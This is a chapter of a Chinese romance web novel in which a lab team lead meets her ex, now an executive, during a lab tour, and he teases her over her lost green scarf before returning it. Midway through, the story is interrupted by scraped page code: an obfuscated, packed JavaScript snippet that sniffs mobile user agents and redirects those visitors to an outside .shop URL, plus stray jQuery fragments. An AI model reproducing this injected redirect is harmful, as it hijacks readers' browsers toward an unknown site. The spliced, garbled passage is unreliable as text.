应不染第二天没有去公司,而是带着于欢颜一起直奔郊区的实验室。
实验室内恒温恒湿,比不上办公室暖和,应不染里面穿的单薄,没一会就觉得手脚沁凉。
“组长,我记得你以前每天都带着一条绿围巾,怎么好久都没见你带了。”于欢颜趁着实验的间隙跟应不染闲聊。
应不染抱着杯热水暖手:“丢了。”
“丢了?”于欢颜放下手里的实验报告,“是说找不到了?”
应不染眸色有些沉:“嗯,在酒吧丢的,找了很久还是没有找到。”
“酒吧?”
在于欢颜心里应不染不像是会去酒吧的人,但她去年实习的时候就见应不染一直戴着那条手织围巾,看样子那条围巾对应不染挺重要的。
于欢颜滑了一下椅子靠近应不染:“我有个闺蜜最近在研究六爻,要不我让她帮你算算?”
“六爻?”
“对,就是玄学。”于欢颜热情地解释。
应不染本人不太相信这种东西,但她也没有驳于欢颜的好意:“嗯,那麻烦你闺蜜了。”
于欢颜不在意地摆摆手:“组长你跟我客气什么。”
于欢颜闺蜜那边很快就发来了消息。
“我闺蜜说她刚帮你起了一卦,是泽风大过卦,变爻在九二,爻辞说‘枯杨生稊’,意思是枯槁的杨树发了新芽,可见此物非但未失,反有复萌之象。”
“观这卦象,兑为泽在上,巽为风在下,恰似风吹湖面,波澜不起而暗流涌动。”于欢颜说得传呼其神。
“总之那物件现在就在你眼皮子底下,只是被什么东西给盖住了。”
“在我眼皮子底下?”应不染失笑。
于欢颜也觉得她闺密说的不靠谱,应不染刚才都说了是在酒吧丢的,这结果一点也不准。
“嗐,组长你就听个乐子吧,我闺蜜可能道行还有点浅。”
应不染浅酌一口热水:“没事,帮我谢谢你闺蜜。”
“嗡嗡嗡。”应不染话刚说完她的手机就响了。
是陈书达打来的电话。
“喂陈总。”
“不染你现在和于欢颜在实验室那边对吧。”
“是的。”
“那好,况总突然想来咱们实验室看看,我们已经到实验室楼下了,你准备一下下来迎接吧。”
况野要来实验室?
应不染眉头蹙死,他怎么会突然来实验室。
“嗯好的,我马上下去。”
“组长怎么了?”
“况总来实验室了,快收拾一下,咱们要下去迎接他们。”
“况总来了?!”于欢颜听到这话语调高了八个度,“终于有机会近距离正面欣赏帅哥了,开心!”
应不染看着于欢颜欢脱的样子无奈笑笑。
“况总陈总好。”应不染带着于欢颜下了楼,刚一出电梯就遇到了已经到达的况野他们。
“况总,给您介绍一下,这是我们朗坤技术部三组组长应不染,就是上次给您汇报展演的那个。”陈书达再次给况野介绍应不染。
况野双手插在黑色大衣里眼眸平静无波,他微微侧身看向应不染:“那今天的实验室参观就麻烦应组长了。”
他依旧是一副不认识应不染的样子。
应不染淡淡颔首让开了电梯的位置。
这是应不染跟况野上次君悦酒店分开之后的第一次见面,说实话她有点慌,但是况野一副淡漠的好像什么都没发生过的样子,让应不染稍微放松了些。
应不染首先带着他们去了打印区,打印实验室铺上了防静电环氧地坪,踩上去没声音,整个实验室就只有打印机器的轻微嗡鸣和应不染清冷又专业的介绍声。
“这是我们研发的微型脑动脉瘤支架。目前正在和仁济医院合作开展临床试验。”
“产品设计核心解决两个临床痛点:一是超微创,支架直径仅0.8毫米,壁厚不到100纳米,无需开颅,通过血管介入即可植入,对患者创伤极小。”
“二是精准贴合,采用镍钛合金记忆材料,可以根据患者动脉瘤的形态个性化塑形,支架表面的药物涂层能有效降低术后复发率。”
应不染穿着一身硬挺的白大褂,衬得肤色冷白,眉眼清疏,没多余表情。
况野听着时不时问几个问题,应不染一一解答,涉及到她的专业领域,况野虽然问得刁钻但也难不倒应不染。
于欢颜像是个小迷妹一样在后面崇拜地看着应不染,外行看热闹,内行看门道,她可太知道应不染有多厉害了。
当然于欢颜也没忘了偷瞄况野趁机舔颜,不知道为什么她莫名觉得她家组长和况总还挺般配的。
就是影视剧里那种玄学CP感,两个人什么都不做,光是站在那里就觉得——好好磕。
整个参观过程都很顺利,况野除了一些商业性问题讨论,也没有跟应不染说过任何别的话,好像他来就真的只是想参观朗坤实验室的。
参观结束,况野被陈书达一行人目送着离开,实验室刚才突然出了点问题,应不染不动声色地让于欢颜留下解决,并没有让况野有任何察觉。
况野走后陈书达跟应不染交代了几句也随着离开了,应不染无意识地叹了口气,搓搓冷得几乎没有血色的手,就准备回实验室了。
“你很冷吗?”
“我天——”
况野如鬼魅一般突然出现在应不染身后,把应不染吓得后退一大步。
“你、况总您怎么在这儿。”应不染真是被吓了一跳,她眼睁睁开着离开的人,怎么会突然出现在她身后。
“哦,迷路了,司机开了一圈不知道怎么又绕回来了。”况野神色坦然地说道。
“你很冷吗?”况野又问了一次。
况野这是在关心她?应不染搞不懂,她尴尬笑笑:“有点。”
况野扫了应不染一眼,而后朝路上停的劳斯莱斯处走去。
应不染站在原地觑着眼,况野这是什么意思?就是礼貌问问,还是他怕她冷准备给她拿条毛毯什么的。
况野不会是要关心她吧?
短短几秒,应不染思绪千回百转,已经想到了如果况野真的给她件衣服或毛毯什么的,她要怎么拒绝。
只不过这个想法从况野拿出车里东西,关上门之后就停止了。
因为况野并没有拿任何衣服或毛毯,而是拿了条绿色围巾出来。
跟应不染丢的那条绿围巾一模一样的围巾。
应不染看着况野,一副见了鬼的表情。
况野嘴角噙着笑,坦然自若地朝应不染走过来:“是挺冷的。”
说着他慢条斯理地将围巾绕在自己颈间,还系了个结:“啊,围上围巾果然暖和多了。”况野说着,语气无辜又散漫。
应不染:“……”
狗是真的狗。
原来她的围巾是让况野偷走了。
应不染站在原地看着况野。
况野却像是没察觉到应不染的震惊一般,眉梢轻挑,嘴角勾着欠兮兮的笑:“怎么了,你看我干什么。”
应不染气笑了,她呵了一声转过头,不知道该说些什么。
可况野却像挑衅一般继续说道:“应组长,你看我这条围巾好看吗?”
应不染被他的无耻惊到了,她看向况野:“好看,好看极了,别人的东西能不好看吗。”应不染这话说得语气并不好,还带了点嘲讽。
许是上次况野说了不会在工作上为难应不染,所以应不染又恢复了以往跟况野正常的相处模式,不再卑躬屈膝小心翼翼。
“没想到况总连别人丢的旧东西都捡,挺会过日子的。”应不染气不过继续阴阳况野。
况野听着应不染的嘲讽没恼,反倒觉得心口那点憋了一晚上的郁气,被她这一句刺得又痒又爽。
况野抬手,指尖慢条斯理地摩挲着颈间的围巾,目光沉沉地锁在应不染脸上,笑意张扬又欠揍:“别人丢的东西?”
他微微倾身,气息压得近了些:“应组长最好说明白点,究竟是被人丢掉的东西,还是……”况野顿了顿,“让失主找不到急得发疯的东西。”
她怎么就急得发疯了?
应不染不想再理况野,转过身想回实验室。
况野一把拉住她:“跑什么?什么都没说就想让我背上拾金不还的名声?”
应不染板着脸:“是不是拾金不还你自己心里清楚。”
“不,我不清楚,我要听你说。”
“你要是听我说,就把围巾还给我。”
“还给你?为什么?这东西是你的?”
应不染看着况野一脸逗弄的表情,懒得跟他再掰扯,她往下压手企图挣脱况野的束缚:“你放开我。”
况野抓着不放:“你说是你的我就给你。”
“我不要了,你放开我。”应不染有些急了。
况野怕真的抓伤她,沉着脸松了手。
应不染瞪他一眼就往实验楼里走。
“应不染。”况野叫住她。
接着他走到一旁的垃圾桶旁边,打开了标有有害垃圾的红色垃圾桶,“你还要不要,不要的话我扔了?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17864611|212153||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>应不染转过头一顿,内心满是无语,况野这些年究竟有没有长年纪。
“我真扔了昂。”况野攥着围巾的手往下移了几公分。
“等等。”应不染终于忍不住出声,她气冲冲地走向况野,“别扔了,给我。”
况野低头哑笑:“不是说不要了吗。”
应不染伸手抢围巾:“要你管!”
况野抬高手没让应不染得逞:“那我拾金不昧是不是得有点奖励。”
况野眼底藏着得逞的笑意,他就知道应不染肯定还是在乎这条围巾的。
“你想怎么样?”
况野一只手高高举着围巾,一手打开微信二维码:“加我微信好友。”
“我为什么要加你好友?”
“不加也行。”况野往下移了移围巾,“不加我就把它扔了。”
“况野!”应不染表情彻底冷了下来,她非常不喜欢被人威胁她。
况野脸上的笑意一瞬间散去,他知道应不染真的生气了。
“真小气,跟你开个玩笑而已,怎么还真生气了。”况野语气十分嫌弃。
不过他手上的动作倒是利落,只见况野先是把手机揣到兜里,然后不紧不慢地摘掉脖子上的围巾,又慢条斯理地,把围巾围到应不染脖子上。
况野语气软了下来:“刚才是我不对,我开玩笑的。”
说着他给应不染脖子上的围巾系了个蝴蝶结:“还是你戴好看。”
应不染冷着脸一把拽开蝴蝶结,看着况野不说话。
况野有些别扭地轻轻碰碰应不染的手,就像以前那样。
“别生气了好不好。”
应不染懒得理他,就算况野不主动把围巾还给她她也不在乎,大不了一会况野走了她再去垃圾桶里捡就好了。
“应不染,你真好看。”况野继续讨好应不染,只是他看着应不染脖子上的围巾心里痒痒的,忍不住又想伸手给她系上蝴蝶结。
况野一抬手应不染就知道他要干什么,应不染刚要拍开他的手——
“组长!”于欢颜跑了出来,“……呃——况、况总?”
于欢颜紧忙刹住脚步,她满脑子都是“况总怎么还在这里的震惊”,完全没注意到刚才应不染和况野的互动。
于欢颜略微僵硬地搓搓手:“您也在呢。”
她心里咆哮发问,怎么这么久了况总还没走,她刚才那么不稳重,会不会影响朗坤在况总心里的印象啊。
“欢颜怎么了?”应不染主动开口缓解她的尴尬。
其实是那边实验出大问题了,应不染又一直不回消息,于欢颜担心三百多万一台的3D打印设备出问题,虽然她也不是赔不起吧,但这事肯定会影响她年底的绩效。
当然于欢颜肯定不会在况野面前说设备有问题的,她装作随意地晃晃手:“没事,就是组长你这么久没上来怕你有事,来看看你。”
于欢颜说着,但不知怎么的突然一下子就被应不染脖子上的围巾吸引了注意力。
“我靠!组长你、你、你围巾找到了?!”于欢颜指着应不染脖子上的围巾一脸震惊。
况野听到这话微不可查地勾唇一笑。
应不染紧忙按住于欢颜激动的手:“对,找到了。”
接着她话锋一转,给于欢颜使了个眼色,“我们赶紧上去吧,实验是不是马上就要进行下一步了?”
她说完拉着于欢颜就往实验楼走。
于欢颜有些懵:“组长我们不送送况总吗?”
应不染一滞,她跟况野和精神分裂一样,工作装不认识,日常又当对方是苦大仇深的前男女朋友,一时身份没转换过来,她都忘了还要送况野,不,是况总离开。
但是已经迈开步子了,再返回去更尬尴,应不染只好硬着头皮继续往前走:“不用了,况总自己走就好。”
于欢颜哦了一声,然后注意力又被应不染脖子上的围巾吸引了去,她拽拽围巾边边:“这围巾组长你戴着真好看,怪不得你以前天天都要戴着呢。”
应不染:“……”
“快点走,别说话。”
应不染逃也似的往实验楼飞走。
恰巧,况野是个耳朵好使的,于欢颜的话他都听到了。
天天戴着这条围巾吗?
况野低头,指尖无意识地摩挲了一下自己的颈侧。
那里,刚才还缠着应不染的围巾,沾过一点她身上的气息。
况野眼底的暗爽压都压不住,却又要端着架子,只能微微偏过头,轻笑一声。
所以,应不染心里还是有他的对吗?